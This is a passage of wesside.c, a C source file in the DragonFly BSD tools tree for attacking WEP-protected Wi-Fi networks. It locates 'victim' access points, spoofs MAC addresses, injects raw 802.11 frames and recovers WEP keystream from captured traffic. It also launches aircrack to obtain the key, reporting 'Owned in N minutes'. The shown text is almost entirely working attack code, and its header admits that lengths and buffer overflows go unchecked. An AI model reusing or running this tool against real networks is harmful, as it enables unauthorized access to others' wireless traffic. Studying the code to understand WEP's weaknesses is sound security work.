Merge branch 'vendor/TRE'
[dragonfly.git] / tools / tools / net80211 / wesside / wesside / wesside.c
1 /*
2  * wep owner by sorbo <sorbox@yahoo.com>
3  * Aug 2005
4  *
5  * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6  * overflows.  this whole thing is experimental n e way.
7  *
8  * $FreeBSD: src/tools/tools/net80211/wesside/wesside/wesside.c,v 1.4 2009/07/24 15:31:22 sam Exp $
9  */
10
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
15 #include <sys/stat.h>
16 #include <sys/wait.h>
17 #include <sys/uio.h>
18 #include <net/if.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
24 #include <net/bpf.h>
25 #include <net/ethernet.h>
26 #include <netproto/802_11/ieee80211.h>
27 #include <netproto/802_11/ieee80211_ioctl.h>
28 #include <netproto/802_11/ieee80211_radiotap.h>
29 #include <netproto/802_11/ieee80211_dragonfly.h>
30 #include <netinet/in.h>
31 #include <netinet/in_systm.h>
32 #include <netinet/ip.h>
33 #include <netinet/udp.h>
34 #include <arpa/inet.h>
35 #include <stdlib.h>
36 #include <stdio.h>
37 #include <unistd.h>
38 #include <string.h>
39 #include <fcntl.h>
40 #include <errno.h>
41 #include <assert.h>
42 #include <zlib.h>
43 #include <signal.h>
44 #include <stdarg.h>
45 #include <err.h>
46 #include <pcap.h>
47
48 #include "aircrack-ptw-lib.h"
49
50 #define FIND_VICTIM             0
51 #define FOUND_VICTIM            1
52 #define SENDING_AUTH            2
53 #define GOT_AUTH                3
54 #define SPOOF_MAC               4
55 #define SENDING_ASSOC           5
56 #define GOT_ASSOC               6
57
58 int state = 0;
59
60 struct timeval arpsend;
61
62 struct ippseudo {
63         struct  in_addr ippseudo_src;   /* source internet address */
64         struct  in_addr ippseudo_dst;   /* destination internet address */
65         u_char          ippseudo_pad;   /* pad, must be zero */
66         u_char          ippseudo_p;     /* protocol */
67         u_short         ippseudo_len;   /* protocol length */
68 };
69 struct tx_state {
70         int waiting_ack;
71         struct timeval tsent;
72         int retries;
73         unsigned int psent;
74 } txstate;
75
76 struct chan_info {
77         int s;
78         struct ieee80211req ireq;
79         int chan;
80 } chaninfo;
81
82 struct victim_info {
83         char* ssid;
84         int chan;
85         char bss[6];
86 } victim;
87
88 struct frag_state {
89         struct ieee80211_frame wh;
90         unsigned char* data;
91         int len;
92         unsigned char* ptr;
93         int waiting_relay;
94         struct timeval last;
95 } fragstate;
96
97 struct prga_info {
98         unsigned char* prga;
99         unsigned int len;
100         unsigned char iv[3];
101 } prgainfo;
102
103 struct decrypt_state {
104         unsigned char* cipher;
105         int clen;
106         struct prga_info prgainfo;
107         struct frag_state fragstate;
108 } decryptstate;
109
110 struct wep_log {
111         unsigned int packets;
112         unsigned int rate;
113         int fd;
114         unsigned char iv[3];
115 } weplog;
116
117 #define LINKTYPE_IEEE802_11     105
118 #define TCPDUMP_MAGIC           0xA1B2C3D4
119
120 unsigned char* floodip = NULL;
121 unsigned short floodport = 6969;
122 unsigned short floodsport = 53;
123
124 unsigned char* netip = NULL;
125 int netip_arg = 0;
126 int max_chan = 11;
127
128 unsigned char* rtrmac = NULL;
129
130 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
131 unsigned char myip[16] = "192.168.0.123";
132
133 int bits = 0;
134 int ttl_val = 0;
135
136 PTW_attackstate *ptw;
137
138 unsigned char *victim_mac = NULL;
139
140 int ack_timeout = 100*1000;
141
142 #define ARPLEN (8+ 8 + 20)
143 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
144 unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
145 #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
146 #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
147 #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
148
149 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
150
151 #define WEP_FILE "wep.cap"
152 #define KEY_FILE "key.log"
153 #define PRGA_FILE "prga.log"
154
155 unsigned int min_prga =  128;
156
157 /*
158  * When starting aircrack we try first to use a
159  * local copy, falling back to where the installed
160  * version is expected.
161  * XXX builtin pathnames
162  */
163 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
164 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
165
166 #define INCR 10000
167 int thresh_incr = INCR;
168
169 #define MAGIC_TTL_PAD 69
170
171 int crack_dur = 60;
172 int wep_thresh = INCR;
173 int crack_pid = 0;
174 struct timeval crack_start;
175 struct timeval real_start;
176
177 /* linksys does this.  The hardware pads small packets. */
178 #define PADDED_ARPLEN 54
179
180 #define PRGA_LEN (1500-14-20-8)
181 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
182
183 #define DICT_PATH "dict"
184 #define TAP_DEV "/dev/tap3"
185 unsigned char tapdev[16];
186 unsigned char taptx[4096];
187 unsigned int taptx_len = 0;
188 int tapfd = -1;
189
190 /********** RIPPED
191 ************/
192 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
193   register long sum;
194   u_short oddbyte;
195   register u_short answer;
196
197   sum = 0;
198   while (nbytes > 1)
199     {
200       sum += *ptr++;
201       nbytes -= 2;
202     }
203
204   if (nbytes == 1)
205     {
206       oddbyte = 0;
207       *((u_char *) & oddbyte) = *(u_char *) ptr;
208       sum += oddbyte;
209     }
210
211   sum = (sum >> 16) + (sum & 0xffff);
212   sum += (sum >> 16);
213   answer = ~sum;
214   return (answer);
215 }
216 /**************
217 ************/
218
219 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
220                           struct in_addr *dip) {
221         unsigned char *tmp;
222         struct ippseudo *ph;
223
224         tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
225         if(!tmp)
226                 err(1, "malloc()");
227
228         ph = (struct ippseudo*) tmp;
229
230         memcpy(&ph->ippseudo_src, sip, 4);
231         memcpy(&ph->ippseudo_dst, dip, 4);
232         ph->ippseudo_pad =  0;
233         ph->ippseudo_p = IPPROTO_UDP;
234         ph->ippseudo_len = htons(len);
235
236         memcpy(tmp + sizeof(struct ippseudo), stuff, len);
237
238         return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
239 }
240
241 void time_print(char* fmt, ...) {
242         va_list ap;
243         char lame[1024];
244         time_t tt;
245         struct tm *t;
246
247         va_start(ap, fmt);
248         vsnprintf(lame, sizeof(lame), fmt, ap);
249         va_end(ap);
250
251         tt = time(NULL);
252
253         if (tt == (time_t)-1) {
254                 perror("time()");
255                 exit(1);
256         }
257
258         t = localtime(&tt);
259         if (!t) {
260                 perror("localtime()");
261                 exit(1);
262         }
263
264         printf("[%.2d:%.2d:%.2d] %s",
265                t->tm_hour, t->tm_min, t->tm_sec, lame);
266 }
267
268 void check_key() {
269         char buf[1024];
270         int fd;
271         int rd;
272         struct timeval now;
273
274         fd = open(KEY_FILE, O_RDONLY);
275
276         if (fd == -1) {
277                 return;
278         }
279
280         rd = read(fd, buf, sizeof(buf) -1);
281         if (rd == -1) {
282                 perror("read()");
283                 exit(1);
284         }
285
286         buf[rd] = 0;
287
288         close(fd);
289
290         printf ("\n\n");
291         time_print("KEY=(%s)\n", buf);
292
293         if (gettimeofday(&now, NULL) == -1) {
294                 perror("gettimeofday()");
295                 exit(1);
296         }
297
298         printf ("Owned in %.02f minutes\n",
299                 ((double) now.tv_sec - real_start.tv_sec)/60.0);
300         exit(0);
301 }
302
303 void kill_crack() {
304         if (crack_pid == 0)
305                 return;
306
307         printf("\n");
308         time_print("Stopping crack PID=%d\n", crack_pid);
309
310         // XXX doesn't return -1 for some reason! [maybe on my box... so it
311         // might be buggy on other boxes...]
312         if (kill(crack_pid, SIGINT) == -1) {
313                 perror("kill()");
314                 exit(1);
315         }
316
317         crack_pid = 0;
318
319         check_key();
320 }
321
322 void cleanup(int x) {
323         time_print("\nDying...\n");
324
325         if (weplog.fd)
326                 close(weplog.fd);
327
328         kill_crack();
329
330         exit(0);
331 }
332
333 void set_chan(int c) {
334         if (c == chaninfo.chan)
335                 return;
336
337         chaninfo.ireq.i_val = c;
338
339         if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
340                 perror("ioctl(SIOCS80211) [chan]");
341                 exit(1);
342         }
343         chaninfo.chan = c;
344 }
345
346 void set_if_mac(unsigned char* mac, unsigned char *name) {
347         int s;
348         struct ifreq ifr;
349
350         s = socket(PF_INET, SOCK_DGRAM, 0);
351         if (s == -1) {
352                 perror("socket()");
353                 exit(1);
354         }
355
356         memset(&ifr, 0, sizeof(ifr));
357         strcpy(ifr.ifr_name, name);
358
359         ifr.ifr_addr.sa_family = AF_LINK;
360         ifr.ifr_addr.sa_len = 6;
361         memcpy(ifr.ifr_addr.sa_data, mac, 6);
362
363         if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
364                 perror("ioctl(SIOCSIFLLADDR)");
365                 exit(1);
366         }
367
368         close(s);
369 }
370
371 void setup_if(char *dev) {
372         int s;
373         struct ifreq ifr;
374         unsigned int flags;
375         struct ifmediareq ifmr;
376         int *mwords;
377
378         if(strlen(dev) >= IFNAMSIZ) {
379                 time_print("Interface name too long...\n");
380                 exit(1);
381         }
382
383         time_print("Setting up %s... ", dev);
384         fflush(stdout);
385
386         set_if_mac(mymac, dev);
387
388         s = socket(PF_INET, SOCK_DGRAM, 0);
389         if (s == -1) {
390                 perror("socket()");
391                 exit(1);
392         }
393
394         // set chan
395         memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
396         strcpy(chaninfo.ireq.i_name, dev);
397         chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
398
399         chaninfo.chan = 0;
400         chaninfo.s = s;
401         set_chan(1);
402
403         // set iface up and promisc
404         memset(&ifr, 0, sizeof(ifr));
405         strcpy(ifr.ifr_name, dev);
406         if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
407                 perror("ioctl(SIOCGIFFLAGS)");
408                 exit(1);
409         }
410
411         flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
412         flags |= IFF_UP | IFF_PPROMISC;
413
414         memset(&ifr, 0, sizeof(ifr));
415         strcpy(ifr.ifr_name, dev);
416         ifr.ifr_flags = flags & 0xffff;
417         ifr.ifr_flagshigh = flags >> 16;
418         if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
419                 perror("ioctl(SIOCSIFFLAGS)");
420                 exit(1);
421         }
422
423         printf("done\n");
424 }
425
426 int open_bpf(char *dev, int dlt) {
427         int i;
428         char buf[64];
429         int fd = -1;
430         struct ifreq ifr;
431
432         for(i = 0;i < 16; i++) {
433                 sprintf(buf, "/dev/bpf%d", i);
434
435                 fd = open(buf, O_RDWR);
436                 if(fd < 0) {
437                         if(errno != EBUSY) {
438                                 perror("can't open /dev/bpf");
439                                 exit(1);
440                         }
441                         continue;
442                 }
443                 else
444                         break;
445         }
446
447         if(fd < 0) {
448                 perror("can't open /dev/bpf");
449                 exit(1);
450         }
451
452         strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
453         ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
454
455         if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
456                 perror("ioctl(BIOCSETIF)");
457                 exit(1);
458         }
459
460         if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
461                 perror("ioctl(BIOCSDLT)");
462                 exit(1);
463         }
464
465         i = 1;
466         if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
467                 perror("ioctl(BIOCIMMEDIATE)");
468                 exit(1);
469         }
470
471         return fd;
472 }
473
474 void hexdump(unsigned char *ptr, int len) {
475         while(len > 0) {
476                 printf("%.2X ", *ptr);
477                 ptr++; len--;
478         }
479         printf("\n");
480 }
481
482 char* mac2str(unsigned char* mac) {
483         static char ret[6*3];
484
485         sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
486                 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
487
488         return ret;
489 }
490
491 void inject(int fd, void *buf, int len)
492 {
493         static struct ieee80211_bpf_params params = {
494                 .ibp_vers = IEEE80211_BPF_VERSION,
495                 /* NB: no need to pass series 2-4 rate+try */
496                 .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
497                 .ibp_rate0 = 2,         /* 1 MB/s XXX */
498                 .ibp_try0 = 1,          /* no retransmits */
499                 .ibp_flags = IEEE80211_BPF_NOACK,
500                 .ibp_power = 100,       /* nominal max */
501                 .ibp_pri = WME_AC_VO,   /* high priority */
502         };
503         struct iovec iov[2];
504         int rc;
505
506         iov[0].iov_base = &params;
507         iov[0].iov_len = params.ibp_len;
508         iov[1].iov_base = buf;
509         iov[1].iov_len = len;
510         rc = writev(fd, iov, 2);
511         if(rc == -1) {
512                 perror("writev()");
513                 exit(1);
514         }
515         if (rc != (len + iov[0].iov_len)) {
516                 time_print("Error Wrote %d out of %d\n", rc,
517                            len+iov[0].iov_len);
518                 exit(1);
519         }
520 }
521
522 void send_frame(int tx, unsigned char* buf, int len) {
523         static unsigned char* lame = NULL;
524         static int lamelen = 0;
525         static int lastlen = 0;
526
527         // retransmit!
528         if (len == -1) {
529                 txstate.retries++;
530
531                 if (txstate.retries > 10) {
532                         time_print("ERROR Max retransmists for (%d bytes):\n",
533                                lastlen);
534                         hexdump(&lame[0], lastlen);
535 //                      exit(1);
536                 }
537                 len = lastlen;
538 //              printf("Warning doing a retransmit...\n");
539         }
540         // normal tx
541         else {
542                 assert(!txstate.waiting_ack);
543
544                 if (len > lamelen) {
545                         if (lame)
546                                 free(lame);
547
548                         lame = (unsigned char*) malloc(len);
549                         if(!lame) {
550                                 perror("malloc()");
551                                 exit(1);
552                         }
553
554                         lamelen = len;
555                 }
556
557                 memcpy(lame, buf, len);
558                 txstate.retries = 0;
559                 lastlen = len;
560         }
561
562         inject(tx, lame, len);
563
564         txstate.waiting_ack = 1;
565         txstate.psent++;
566         if (gettimeofday(&txstate.tsent, NULL) == -1) {
567                 perror("gettimeofday()");
568                 exit(1);
569         }
570
571 #if 0
572         printf("Wrote frame at %lu.%lu\n",
573                txstate.tsent.tv_sec, txstate.tsent.tv_usec);
574 #endif
575 }
576
577 unsigned short fnseq(unsigned short fn, unsigned short seq) {
578         unsigned short r = 0;
579
580         if(fn > 15) {
581                 time_print("too many fragments (%d)\n", fn);
582                 exit(1);
583         }
584
585         r = fn;
586
587         r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
588
589         return r;
590 }
591
592 void fill_basic(struct ieee80211_frame* wh) {
593         unsigned short* sp;
594
595         memcpy(wh->i_addr1, victim.bss, 6);
596         memcpy(wh->i_addr2, mymac, 6);
597         memcpy(wh->i_addr3, victim.bss, 6);
598
599
600
601         sp = (unsigned short*) wh->i_seq;
602         *sp = fnseq(0, txstate.psent);
603
604         sp = (unsigned short*) wh->i_dur;
605         *sp = htole16(32767);
606 }
607
608 void send_assoc(int tx) {
609         unsigned char buf[128];
610         struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
611         unsigned char* body;
612         int ssidlen;
613
614         memset(buf, 0, sizeof(buf));
615         fill_basic(wh);
616         wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
617
618         body = (unsigned char*) wh + sizeof(*wh);
619         *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
620         // cap + interval
621         body += 2 + 2;
622
623         // ssid
624         *body++ = 0;
625         ssidlen = strlen(victim.ssid);
626         *body++ = ssidlen;
627         memcpy(body, victim.ssid, ssidlen);
628         body += ssidlen;
629
630         // rates
631         *body++ = 1;
632         *body++ = 4;
633         *body++ = 2;
634         *body++ = 4;
635         *body++ = 11;
636         *body++ = 22;
637
638         send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
639                             strlen(victim.ssid) + 2 + 4);
640 }
641
642 void wepify(unsigned char* body, int dlen) {
643         uLong crc;
644         unsigned long *pcrc;
645         int i;
646
647         assert(dlen + 4 <= prgainfo.len);
648
649         // iv
650         memcpy(body, prgainfo.iv, 3);
651         body +=3;
652         *body++ = 0;
653
654         // crc
655         crc = crc32(0L, Z_NULL, 0);
656         crc = crc32(crc, body, dlen);
657         pcrc = (unsigned long*) (body+dlen);
658         *pcrc = crc;
659
660         for (i = 0; i < dlen +4; i++)
661                 *body++ ^= prgainfo.prga[i];
662 }
663
664 void send_auth(int tx) {
665         unsigned char buf[128];
666         struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
667         unsigned short* n;
668
669         memset(buf, 0, sizeof(buf));
670         fill_basic(wh);
671         wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
672
673         n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
674         n++;
675         *n = 1;
676
677         send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
678 }
679
680 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
681         unsigned char* ptr;
682         int x;
683         int gots = 0, gotc = 0;
684
685         if (len <= sizeof(*wh)) {
686                 time_print("Warning: short packet in get_victim_ssid()\n");
687                 return 0;
688         }
689
690         ptr = (unsigned char*)wh + sizeof(*wh);
691         len -= sizeof(*wh);
692
693         // only wep baby
694         if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
695                 return 0;
696         }
697
698         // we want a specific victim
699         if (victim_mac) {
700                 if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
701                         return 0;
702         }
703
704         // beacon header
705         x = 8 + 2 + 2;
706         if (len <= x) {
707                 time_print("Warning short.asdfasdf\n");
708                 return 0;
709         }
710
711         ptr += x;
712         len -= x;
713
714         // SSID
715         while(len > 2) {
716                 int eid, elen;
717
718                 eid = *ptr;
719                 ptr++;
720                 elen = *ptr;
721                 ptr++;
722                 len -= 2;
723
724                 if (len < elen) {
725                         time_print("Warning short....\n");
726                         return 0;
727                 }
728
729                 // ssid
730                 if (eid == 0) {
731                         if (victim.ssid)
732                                 free(victim.ssid);
733
734                         victim.ssid = (char*) malloc(elen + 1);
735                         if (!victim.ssid) {
736                                 perror("malloc()");
737                                 exit(1);
738                         }
739
740                         memcpy(victim.ssid, ptr, elen);
741                         victim.ssid[elen] = 0;
742                         gots = 1;
743
744                 }
745                 // chan
746                 else if(eid == 3) {
747                         if( elen != 1) {
748                                 time_print("Warning len of chan not 1\n");
749                                 return 0;
750                         }
751
752                         victim.chan = *ptr;
753                         gotc = 1;
754                 }
755
756                 ptr += elen;
757                 len -= elen;
758         }
759
760         if (gots && gotc) {
761                 memcpy(victim.bss, wh->i_addr3, 6);
762                 set_chan(victim.chan);
763                 state = FOUND_VICTIM;
764                 time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
765                        victim.ssid, mac2str(victim.bss), victim.chan);
766                 return 1;
767         }
768         return 0;
769 }
770
771 void send_ack(int tx) {
772         /* firmware acks */
773 }
774
775 void do_llc(unsigned char* buf, unsigned short type) {
776         struct llc* h = (struct llc*) buf;
777
778         memset(h, 0, sizeof(*h));
779         h->llc_dsap = LLC_SNAP_LSAP;
780         h->llc_ssap = LLC_SNAP_LSAP;
781         h->llc_un.type_snap.control = 3;
782         h->llc_un.type_snap.ether_type = htons(type);
783 }
784
785 void calculate_inet_clear() {
786         struct ip* ih;
787         struct udphdr* uh;
788         uLong crc;
789         unsigned long *pcrc;
790         int dlen;
791
792         memset(inet_clear, 0, sizeof(inet_clear));
793
794         do_llc(inet_clear, ETHERTYPE_IP);
795
796         ih = (struct ip*) &inet_clear[8];
797         ih->ip_hl = 5;
798         ih->ip_v = 4;
799         ih->ip_tos = 0;
800         ih->ip_len = htons(20+8+PRGA_LEN);
801         ih->ip_id = htons(666);
802         ih->ip_off = 0;
803         ih->ip_ttl = ttl_val;
804         ih->ip_p = IPPROTO_UDP;
805         ih->ip_sum = 0;
806         inet_aton(floodip, &ih->ip_src);
807         inet_aton(myip, &ih->ip_dst);
808         ih->ip_sum = in_cksum((unsigned short*)ih, 20);
809
810         uh = (struct udphdr*) ((char*)ih + 20);
811         uh->uh_sport = htons(floodport);
812         uh->uh_dport = htons(floodsport);
813         uh->uh_ulen = htons(8+PRGA_LEN);
814         uh->uh_sum = 0;
815         uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
816                                   &ih->ip_src, &ih->ip_dst);
817
818         // crc
819         dlen = 8 + 20 + 8 + PRGA_LEN;
820         assert (dlen + 4 <= sizeof(inet_clear));
821
822         crc = crc32(0L, Z_NULL, 0);
823         crc = crc32(crc, inet_clear, dlen);
824         pcrc = (unsigned long*) (inet_clear+dlen);
825         *pcrc = crc;
826
827 #if 0
828         printf("INET %d\n", sizeof(inet_clear));
829         hexdump(inet_clear, sizeof(inet_clear));
830 #endif
831 }
832
833 void set_prga(unsigned char* iv, unsigned char* cipher,
834               unsigned char* clear, int len) {
835
836         int i;
837         int fd;
838
839         if (prgainfo.len != 0)
840                 free(prgainfo.prga);
841
842         prgainfo.prga = (unsigned char*) malloc(len);
843         if (!prgainfo.prga) {
844                 perror("malloc()");
845                 exit(1);
846         }
847
848         prgainfo.len = len;
849         memcpy(prgainfo.iv, iv, 3);
850
851         for (i = 0; i < len; i++) {
852                 prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
853                                                 clear[i]);
854         }
855
856         time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
857                prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
858         hexdump(prgainfo.prga, prgainfo.len);
859
860         if (!cipher)
861                 return;
862
863         fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
864                   S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
865
866         if (fd == -1) {
867                 perror("open()");
868                 exit(1);
869         }
870
871         i = write(fd, prgainfo.iv, 3);
872         if (i == -1) {
873                 perror("write()");
874                 exit(1);
875         }
876         if (i != 3) {
877                 printf("Wrote %d out of %d\n", i, 3);
878                 exit(1);
879         }
880
881         i = write(fd, prgainfo.prga, prgainfo.len);
882         if (i == -1) {
883                 perror("write()");
884                 exit(1);
885         }
886         if (i != prgainfo.len) {
887                 printf("Wrote %d out of %d\n", i, prgainfo.len);
888                 exit(1);
889         }
890
891         close(fd);
892 }
893
894
895 void log_dictionary(unsigned char* body, int len) {
896         char paths[3][3];
897         int i, rd;
898         int fd;
899         unsigned char path[128];
900         unsigned char file_clear[sizeof(inet_clear)];
901         unsigned char* data;
902
903         len -= 4; // IV etc..
904         assert (len == sizeof(inet_clear));
905
906         data = body +4;
907
908         if (len > prgainfo.len)
909                 set_prga(body, data, inet_clear, len);
910
911
912         for (i = 0; i < 3; i++)
913                 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
914
915
916         strcpy(path, DICT_PATH);
917
918
919         // first 2 bytes
920         for (i = 0; i < 2; i++) {
921                 strcat(path, "/");
922                 strcat(path, paths[i]);
923                 fd = open(path, O_RDONLY);
924                 if (fd == -1) {
925                         if (errno != ENOENT) {
926                                 perror("open()");
927                                 exit(1);
928                         }
929
930                         if (mkdir(path, 0755) == -1) {
931                                 perror("mkdir()");
932                                 exit(1);
933                         }
934                 }
935                 else
936                         close(fd);
937         }
938
939         // last byte
940         strcat(path, "/");
941         strcat(path, paths[2]);
942
943         fd = open(path, O_RDWR);
944         // already exists... see if we are consistent...
945         if (fd != -1) {
946                 rd = read(fd, file_clear, sizeof(file_clear));
947
948                 if (rd == -1) {
949                         perror("read()");
950                         exit(1);
951                 }
952
953                 // check consistency....
954                 for (i = 0; i < rd; i++) {
955                         if (file_clear[i] !=
956                             (data[i] ^ inet_clear[i])) {
957
958                                 printf("Mismatch in byte %d for:\n", i);
959                                 hexdump(body, len+4);
960                                 exit(1);
961                         }
962                 }
963
964                 // no need to log
965                 if (i >= sizeof(inet_clear)) {
966 #if 0
967                         time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
968                                 body[0], body[1], body[2]);
969 #endif
970                         close(fd);
971                         return;
972                 }
973
974                 // file has less... fd still open
975
976         } else {
977                 fd = open(path, O_WRONLY | O_CREAT, 0644);
978                 if (fd == -1) {
979                         printf("Can't open (%s): %s\n", path,
980                                strerror(errno));
981                         exit(1);
982                 }
983         }
984
985         assert (sizeof(file_clear) >= sizeof(inet_clear));
986
987         for(i = 0; i < len; i++)
988                 file_clear[i] = data[i] ^ inet_clear[i];
989
990         rd = write(fd, file_clear, len);
991         if (rd == -1) {
992                 perror("write()");
993                 exit(1);
994         }
995         if (rd != len) {
996                 printf("Wrote %d of %d\n", rd, len);
997                 exit(1);
998         }
999         close(fd);
1000 }
1001
1002 void stuff_for_us(struct ieee80211_frame* wh, int len) {
1003         int type,stype;
1004         unsigned char* body;
1005
1006         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1007         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1008
1009         body = (unsigned char*) wh + sizeof(*wh);
1010
1011         // CTL
1012         if (type == IEEE80211_FC0_TYPE_CTL) {
1013                 if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1014                         txstate.waiting_ack = 0;
1015                         return;
1016                 }
1017
1018                 if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1019                         return;
1020                 }
1021
1022                 if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1023                         return;
1024                 }
1025                 time_print ("got CTL=%x\n", stype);
1026                 return;
1027         }
1028
1029         // MGM
1030         if (type == IEEE80211_FC0_TYPE_MGT) {
1031                 if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1032                         unsigned short* rc = (unsigned short*) body;
1033                         printf("\n");
1034                         time_print("Got deauth=%u\n", le16toh(*rc));
1035                         state = FOUND_VICTIM;
1036                         return;
1037                         exit(1);
1038                 }
1039                 else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1040                         unsigned short* sc = (unsigned short*) body;
1041
1042                         if (*sc != 0) {
1043                                 time_print("Warning got auth algo=%x\n", *sc);
1044                                 exit(1);
1045                                 return;
1046                         }
1047                         sc++;
1048
1049                         if (*sc != 2) {
1050                                 time_print("Warning got auth seq=%x\n", *sc);
1051                                 return;
1052                         }
1053
1054                         sc++;
1055
1056                         if (*sc == 1) {
1057                                 time_print("Auth rejected... trying to spoof mac.\n");
1058                                 state = SPOOF_MAC;
1059                                 return;
1060                         }
1061                         else if (*sc == 0) {
1062                                 time_print("Authenticated\n");
1063                                 state = GOT_AUTH;
1064                                 return;
1065                         }
1066                         else {
1067                                 time_print("Got auth %x\n", *sc);
1068                                 exit(1);
1069                         }
1070                 }
1071                 else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1072                         unsigned short* sc = (unsigned short*) body;
1073                         sc++; // cap
1074
1075                         if (*sc == 0) {
1076                                 sc++;
1077                                 unsigned int aid = le16toh(*sc) & 0x3FFF;
1078                                 time_print("Associated (ID=%x)\n", aid);
1079                                 state = GOT_ASSOC;
1080                                 return;
1081                         } else if (*sc == 12) {
1082                                 time_print("Assoc rejected..."
1083                                            " trying to spoof mac.\n");
1084                                 state = SPOOF_MAC;
1085                                 return;
1086                         } else {
1087                                 time_print("got assoc %x\n", *sc);
1088                                 exit(1);
1089                         }
1090                 } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1091                         return;
1092                 }
1093
1094                 time_print("\nGOT MAN=%x\n", stype);
1095                 exit(1);
1096         }
1097
1098         if (type == IEEE80211_FC0_TYPE_DATA &&
1099             stype == IEEE80211_FC0_SUBTYPE_DATA) {
1100                 int dlen;
1101                 dlen = len - sizeof(*wh) - 4 -4;
1102
1103                 if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1104                         time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1105                                    mac2str(wh->i_addr2), dlen, stype);
1106                                    return;
1107                 }
1108
1109                 assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1110
1111                 if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1112                         rtrmac = (unsigned char *) malloc(6);
1113                         if (!rtrmac) {
1114                                 perror("malloc()");
1115                                 exit(1);
1116                         }
1117
1118                         assert( rtrmac > (unsigned char*) 1);
1119
1120                         memcpy (rtrmac, wh->i_addr3, 6);
1121                         time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1122
1123                         return;
1124                 }
1125 #if 0
1126                 // check if its a TTL update from dictionary stuff
1127                 if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1128                     dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1129                         int ttl_delta, new_ttl;
1130
1131                         ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1132                         new_ttl = 128 - ttl_delta;
1133
1134                         if (ttl_val && new_ttl != ttl_val) {
1135                                 time_print("oops. ttl changed from %d to %d\n",
1136                                            ttl_val, new_ttl);
1137                                 exit(1);
1138                         }
1139
1140                         if (!ttl_val) {
1141                                 ttl_val = new_ttl;
1142                                 printf("\n");
1143                                 time_print("Got TTL of %d\n", ttl_val);
1144                                 calculate_inet_clear();
1145                         }
1146                 }
1147
1148                 // check if its dictionary data
1149                 if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1150                         log_dictionary(body, len - sizeof(*wh));
1151                 }
1152 #endif
1153         }
1154
1155 #if 0
